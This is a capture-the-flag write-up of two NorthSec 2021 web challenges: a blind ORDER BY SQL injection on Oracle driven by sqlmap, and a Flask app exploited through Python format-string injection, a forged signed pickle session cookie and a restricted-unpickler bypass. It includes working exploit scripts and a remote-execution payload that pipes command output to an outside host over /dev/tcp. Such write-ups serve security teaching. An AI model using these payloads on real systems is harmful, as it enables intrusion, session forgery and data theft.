My favorite challenges for 2021 were Wizlog and Kinder Market, so here are writeups for both. - @Allan_Wirth
-
-
Save allanlw/81a457974b8db16c5ab7f6584a388680 to your computer and use it in GitHub Desktop.
Kinder market was a web challenge. Loading the main page gave you this interface.
You can search for different users. The challenge description told us there was a 'hidden' user that we needed to find.
Right away, I noticed that the "sort by" field looked exactly like SORT BY
SQL clause:
<select class="form-control" name="sort_by">
<option value="random">Random</option>
<option value="age">Young</option>
<option value="age DESC">Elder</option>
<option value="wealth">Poor</option>
<option value="wealth DESC">Rich</option>
<option value="creation_date">Older profile</option>
<option value="creation_date DESC">Newer profile</option>
<option value="name">Name Ascending</option>
<option value="name DESC">Name Descending</option>
</select>
To test this, I tried setting the field to age, name
, which didn't return an error and changed the sort. foo
, (or garbage) returned an error. I figured we had an order by injection.
I'll note at this point I fired of an sqlmap run which didn't find anything. It never does at NSEC becuase the challenge designers don't want skiddies to get points.
I verified that parens were allowed by checking if LOWER(name)
worked, which it did.
Normally, northsec CTF challenges use Postgres, MySQL or SQLite. I tried to fingerprint the database using the following functions:
None of these database-specific functions worked, which was a bit perplexing, but after double checking
that I was calling functions correctly, I tried branching out and landed on Oracle, which I verified by using the SYS_GUID
function, which is oracle
specific. sort_by=SYS_GUID()
did not return an error.
My teammate Dan sent me a link to "Exploiting SQL Injection in ORDER BY on Oracle". For some reason I'm still not sure about, I wasn't able to get the described injection working. I think that there might have been a syntax error. (in fact, I failed to get CASE
to work at all). I wanted to test my syntax on the public oracle sandbox but it was ironically down, so I had to run 100% blind.
For a blind injection to work, it must be possible to extract one bit at a time. The way that I decided to do this was to set sort_by
to age * X, name
, where X
was either 1 or NULL. This way, if X was 1, it would be a sort by age, if X was NULL, it would be sort by name. With the provided data set, ordering by age puts Kevin
first and sorting by name puts Valerie
first. This can be verified to work with subqueries by sending age * (SELECT 1 FROM DUAL WHERE 1=1), name
and age * (SELECT 1 FROM DUAL WHERE 0=1), name
.
It's a massive pain to do blind SQL injection without sqlmap, so to get sqlmap to understand this injection, I used the --prefix
and --suffix
options to 'trick' sqlmap into injecting into my customized subquery. For some reason -o
would not work with this strange setup, and I wasted some time on that, but got it working with this:
sqlmap \
-u 'http://kinder-market.ctf/?name=&age=&wealth=&sort_by=age&page=1' \
-p sort_by \
--risk 3 \
--level 5 \
--dbms=oracle \
--prefix=' * (SELECT 1 FROM DUAL WHERE 1=1 ' \
--suffix='), name' \
--technique=B \
-vv \
--threads 4
With this, sqlmap would generate inputs like age * (SELECT 1 FROM DUAL WHERE 1=1 AND (SELECT ...)), name
, and use the two different pages returned to extract one bit at a time from the database.
To get the actual flag, I needed to extract the hidden user, I did that with:
sqlmap \
-u 'http://kinder-market.ctf/?name=&age=&wealth=&sort_by=age&page=1' \
-p sort_by \
--risk 3 \
--level 5 \
--dbms=oracle \
--prefix=' * (SELECT 1 FROM DUAL WHERE 1=1 ' \
--suffix='), name' \
-vv \
--technique=B \
-T PROFILE \
--dump \
--threads 8 \
--where 'HIDDEN=0'
Which gave:
Database: CHAL
Table: PROFILE
[1 entry]
+----+-----+-------------------+--------+--------+-----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+
| ID | AGE | NAME | HIDDEN | WEALTH | PICTURE | DESCRIPTION | CREATION_DATE |
+----+-----+-------------------+--------+--------+-----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+
| 6 | 8 | Camelia Salisbury | 0 | 5 | camelia_salisbury.png | FLAG-cf63f0125fc67ea8daddaa23acb6dcaa As an act of peace between our two kingdoms, me, Baron Gevodan Salisbury, sovereign leader of the tenth-thirtiest district, Deputy of the Honorable Duke of Longeyes, would like to offer my daughter's hand to a worthy citizen of North Sectoria. May our families unite together and show that technology can help us build bridges and bring down walls between our kingdoms. | 12-MAY-61 |
+----+-----+-------------------+--------+--------+-----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+
Submitting this to askgod
revealed that it was the second flag for the challenge. The first flag was in the image file for Camelia Salisbury
, which could have been gotten by browsing the /images/
folder for a directory listing.
Wizlog was a web challenge that provided an interface to format/filter log files. The challenge page described that there was a "secret" log that was not accessible.
Even if our art is still young, we are quickly improving our tools and techniques.
Wizlog is a tool that was developped for us. With some incantations you can change the shape of the application logs into anything you want.
You want to print the date before the log level, or prepend the message with a dash, you have the power, my dear apprentice.
I want you to try this tool. I also got a secret message for you that can only be read with the right magic words.
See if you can pierce the secret of the tool.
The default filter was something like: {log.date} | {log.value}
. I noticed quickly that {log.__dict__}
worked, which meant the injection was a python format string injection. I verified this by trying {log!r}
and {log!s}
, which are a syntax specific to format strings, and worked succesfully.
In most python breakout challenges, the trick is to traverse the object tree to access problematic globals. Usefully, user defined functions have a property __globals__
that contains a dict()
of all the globals in the function's closure. So, I was able to access these globals by accessing log.__class__.__init__.__globals__
. This contained the following relevant entries:
'base64': <module 'base64' from '/usr/lib/python3.8/base64.py'>,
'Flask': <class 'flask.app.Flask'>,
'session': <SecureCookieSession {'user': <wizlog.user.User object at 0x7f4b5fcd1160>}>,
'restricted_pickle': <module 'wizlog.restricted_pickle' from '/wizlog/venv/lib/python3.8/site-packages/wizlog/restricted_pickle.py'>,
'restricted_loads': <function restricted_loads at 0x7f4b6059a0d0>,
'user': <module 'wizlog.user' from '/wizlog/venv/lib/python3.8/site-packages/wizlog/user.py'>,
'User': <class 'wizlog.user.User'>,
'app': <Flask 'wizlog'>,
'FLAG': 'FLAG-360c18da7b11a992251f780d59c097b5',
'Serializer': <class 'wizlog.Serializer'>,
'MySession': <class 'wizlog.MySession'>,
'Log': <class 'wizlog.Log'>,
'logs': [<wizlog.Log object at 0x7f4b60593b20>, <wizlog.Log object at 0x7f4b60593cd0>, <wizlog.Log object at 0x7f4b60593bb0>],
This flag was the first of three flags.
It's important to note that in the python format specification mini-language that indexing dictionaries should not use quoted keys.
The challenge description showed us that some logs were only available to admins. The challenge was using SecureCookieSession
, which is a Flask session provider that uses python pickled session objects encrypted/signed with a secret key.
Extracting the key was possible with: {log.__class__.__init__.__globals__[app].__dict__}
yielding SECRET_KEY': b'jkLvJJ76WxJE25ZrnLiywUJjHJjvMsJ4'
.
To decrypt the token, I used the itsdangerous
python module, which is used under the hood by the Flask implementation. You need to make modules that match the serialized objects. Debugging a bit, I was able to decrypt the cookie and replace the values with:
import pickle
import base64
import hashlib
from itsdangerous import URLSafeTimedSerializer
from flask.json.tag import TaggedJSONSerializer
import wizlog
class decode:
@classmethod
def loads(cls, x):
return pickle.loads(base64.b64decode(x))
@classmethod
def dumps(cls, x):
return base64.b64encode(pickle.dumps(x))
s = URLSafeTimedSerializer(
b'jkLvJJ76WxJE25ZrnLiywUJjHJjvMsJ4',
salt="cookie-session",
signer_kwargs={"key_derivation":"hmac"},
serializer=decode,
)
e = '.eJxLdwwOCwp0hAInyxzPcteUCL-c5IJgX2fjlILU3IqyqEpTw2SjsEqQXBhELiTHOdcpx8Mo1Nuz3DMxwi8tMjyoJDHcLDQzstw1KdetJCoq2NcpPMUwKsLPIMcjLDO50sQWAKgmJFg.YKkTZQ.PlXWVg5HgD9F0vC07uHYQo16S3Y'
u = s.loads(e)
print(u)
print(u['user'].__dict__)
u["user"].name = 'admin'
u["user"].is_admin = True
print(s.dumps(u))
I also had two make a directory wizlog
, containing an empty __init__.py
and a file user.py
containing: class User: pass
to appease pickle.
This gave the output:
{'user': <wizlog.user.User object at 0x7efc7b43fe20>}
{'is_admin': False, 'name': 'guest'}
b'.eJxLdwwOCwp0hAInyxzPcteUCL-c5IJgX2fjlILU3IqyqEpTw2SjsEqQXBhELiTHOdcpx8Mo1Nuz3DMxwi8tMjyoJDHcLDQTqCYp160kKirY1yncLTspPKc0xyMsM7nSxBYAq7Ikzg.YK0J5w.qD9Stqbzkt_GPK6QbF2FJlAsgCc'
Setting this as the session cookie gave the second flag on page load.
Unleash your bounds, and wield one of the greatest powers there is: spawn a portal to the sHell.
The final step of the challenge was to get Remote Code Execution. The obvious way to do this was through a pickle deserialization vulnerability, but from the previously dumped globals it was clear that the service was using a custom restricted pickle. I tried a normal pickle payload just to double check and it failed.
Using the following code I got the definition of the RestrictedUnpickler
to understand it better:
{log.__class__.__init__.__globals__[restricted_pickle].__dict__}
Showed there was a RestrictedUnpickler
class.
{log.__class__.__init__.__globals__[restricted_pickle].RestrictedUnpickler.__dict__}
Gave:
{'__module__': 'wizlog.restricted_pickle', 'safe_module': {'wizlog.user'}, 'find_class': <function RestrictedUnpickler.find_class at 0x7f4b6059a160>, '__dict__': <attribute '__dict__' of 'RestrictedUnpickler' objects>, '__weakref__': <attribute '__weakref__' of 'RestrictedUnpickler' objects>, '__doc__': None}
The type signature for find_class
is available in the python docs for the Unpickler
class. This is method that is used to resolve globals when depickling.
To extract the function definition for find_class
, I used the magic attributes that are available on code objects:
{log.__class__.__init__.__globals__[restricted_pickle].RestrictedUnpickler.find_class.__code__.co_consts}
# (None, "global '%s.%s' is forbidden")
{log.__class__.__init__.__globals__[restricted_pickle].RestrictedUnpickler.find_class.__code__.co_names}
# ('safe_module', 'pickle', 'UnpicklingError', 'super', 'find_class')
{log.__class__.__init__.__globals__[restricted_pickle].RestrictedUnpickler.find_class.__code__.co_varnames}
# ('self', 'module', 'name')
{log.__class__.__init__.__globals__[restricted_pickle].RestrictedUnpickler.find_class.__code__.co_code}
# b'|\x01|\x00j\x00k\x07r\x1ct\x01\xa0\x02d\x01|\x01|\x02f\x02\x16\x00\xa1\x01\x82\x01t\x03\x83\x00\xa0\x04|\x01|\x02\xa1\x02S\x00'
I used dis.dis
to disassemble the bytecode, and replaced the load constants with the names I had extracted earlier:
0 LOAD_FAST 1 ('module')
2 LOAD_FAST 0 ('self')
4 LOAD_ATTR 0 ('safe_module')
6 COMPARE_OP 7 (not in)
8 POP_JUMP_IF_FALSE 28
10 LOAD_GLOBAL 1 ('pickle')
12 LOAD_METHOD 2 ('UnpicklingError')
14 LOAD_CONST 1 ("global '%s.%s' is forbidden")
16 LOAD_FAST 1 ('module')
18 LOAD_FAST 2 ('name')
20 BUILD_TUPLE 2
22 BINARY_MODULO
24 CALL_METHOD 1
26 RAISE_VARARGS 1
>> 28 LOAD_GLOBAL 3 ('super')
30 CALL_FUNCTION 0
32 LOAD_METHOD 4 ('find_class')
34 LOAD_FAST 1 ('module')
36 LOAD_FAST 2 ('name')
38 CALL_METHOD 2
40 RETURN_VALUE
Rewritten in proper python code, this is:
def find_class(self, module, name):
if module not in self.safe_module:
raise pickle.UnpicklingError("global '%s.%s is forbidden" % (module, name))
return super().find_class(module, name)
So, the goal was the find a function that could be called in wizlog.user
(the only entry in self.safe_module
) that would be useful for RCE. The documentation for find_class
says this:
find_class(module, name)
Import module if necessary and return the object called name from it, where the module and name arguments are str objects. Note, unlike its name suggests, find_class() is also used for finding functions.
Subclasses may override this to gain control over what type of objects and how they can be loaded, potentially reducing security risks. Refer to Restricting Globals for details.
Raises an auditing event pickle.find_class with arguments module, name.
Not being one to trust the documentation, I went to check the implementation. It turns out the documentation leaves out a crucial detail that can be seen in the actual definition of _find_class
:
def find_class(self, module, name):
# Subclasses may override this.
sys.audit('pickle.find_class', module, name)
if self.proto < 3 and self.fix_imports:
if (module, name) in _compat_pickle.NAME_MAPPING:
module, name = _compat_pickle.NAME_MAPPING[(module, name)]
elif module in _compat_pickle.IMPORT_MAPPING:
module = _compat_pickle.IMPORT_MAPPING[module]
__import__(module, level=0)
if self.proto >= 4:
return _getattribute(sys.modules[module], name)[0]
else:
return getattr(sys.modules[module], name)
Where _getattribute
is defined as:
def _getattribute(obj, name):
for subpath in name.split('.'):
if subpath == '<locals>':
raise AttributeError("Can't get local attribute {!r} on {!r}"
.format(name, obj))
try:
parent = obj
obj = getattr(obj, subpath)
except AttributeError:
raise AttributeError("Can't get attribute {!r} on {!r}"
.format(name, obj)) from None
return obj, parent
This shows that if the pickle version is greater than version 4 (which it is for python 3.8, the version they are running, as seen above), the name
parameter in find_class
is split on dots and recursively accessed. This means that RestrictedUnpickler.find_class
does not only allow access to functions in wizlog.user
, but it also allows access to functions in modules wizlog.user
imports, recursively!
Note that the RestrictedUnpickler.find_class
definition here was secure up to the implementation of pickle v4 (PEP 3154) (Python 3.4) which added support for serializing dot qualified names:
The
__qualname__
attribute from PEP 3155 makes it possible to lookup many more objects by name. Making theSTACK_GLOBAL
opcode accept dot-separated names would allow the standard pickle implementation to support all those kinds of objects.
Checking what wizlog.user
imports, I found random
, which imports _os
as random._os
. This contains system
, which allows arbitrary code execution.
To construct the payload I looked at how the pickle module saves globals:
def save_global(self, obj, name=None):
write = self.write
memo = self.memo
if name is None:
name = getattr(obj, '__qualname__', None)
if name is None:
name = obj.__name__
module_name = whichmodule(obj, name)
try:
__import__(module_name, level=0)
module = sys.modules[module_name]
obj2, parent = _getattribute(module, name)
except (ImportError, KeyError, AttributeError):
raise PicklingError(
"Can't pickle %r: it's not found as %s.%s" %
(obj, module_name, name)) from None
else:
if obj2 is not obj:
raise PicklingError(
"Can't pickle %r: it's not the same object as %s.%s" %
(obj, module_name, name))
With whichmodule
defined as:
def whichmodule(obj, name):
"""Find the module an object belong to."""
module_name = getattr(obj, '__module__', None)
if module_name is not None:
return module_name
# Protect the iteration by using a list copy of sys.modules against dynamic
# modules that trigger imports of other modules upon calls to getattr.
for module_name, module in sys.modules.copy().items():
if (module_name == '__main__'
or module_name == '__mp_main__' # bpo-42406
or module is None):
continue
try:
if _getattribute(module, name)[0] is obj:
return module_name
except AttributeError:
pass
return '__main__'
This meant that to make an RCE payload, I could return a function weird
with __module__
and __qualname__
overwritten to be the right access path in the wizlog
service. Note that it is also required to overwrite the wizlog.user.random._os.system
function with the weird
function because pickle verifies the reference when writing it out. I added an import for random
to my wizlog.user
module and, modified my previous script as so:
import pickle
import base64
import pickletools
import sys
import io
import requests
from itsdangerous import URLSafeTimedSerializer
import wizlog
import wizlog.user
def weird(x): pass
weird.__qualname__ = "random._os.system"
weird.__module__ = "wizlog.user"
class RCE:
def __reduce__(self):
return weird, ('bash -c "' + sys.argv[1] + ' > /dev/tcp/shell.ctf/9999"',)
class Unpickler(pickle.Unpickler):
def find_class(self, namespace, name):
print(namespace, name)
return super().find_class(namespace, name)
class decode:
@classmethod
def loads(cls, x):
return Unpickler(io.BytesIO(base64.b64decode(x))).load()
@classmethod
def dumps(cls, x):
return base64.b64encode(pickle.dumps(x))
s = URLSafeTimedSerializer(
b'jkLvJJ76WxJE25ZrnLiywUJjHJjvMsJ4',
salt="cookie-session",
signer_kwargs={"key_derivation":"hmac"},
serializer=decode,
)
old_system = wizlog.user.random._os.system
wizlog.user.random._os.system = weird
dump = pickle.dumps(RCE())
# uncomment to test locally
#dump2 = s.dumps(RCE())
#wizlog.user.random._os.system = old_system
#s.loads(dump2)
#wizlog.user.random._os.system = weird
requests.get('http://wizlog.ctf/', cookies={"session": s.dumps(RCE()).decode("ascii")})
This executed correctly and piped the output to a netcat listener on shell.ctf:9999
. Getting the final flag was then just a matter of cat
ing the flag file.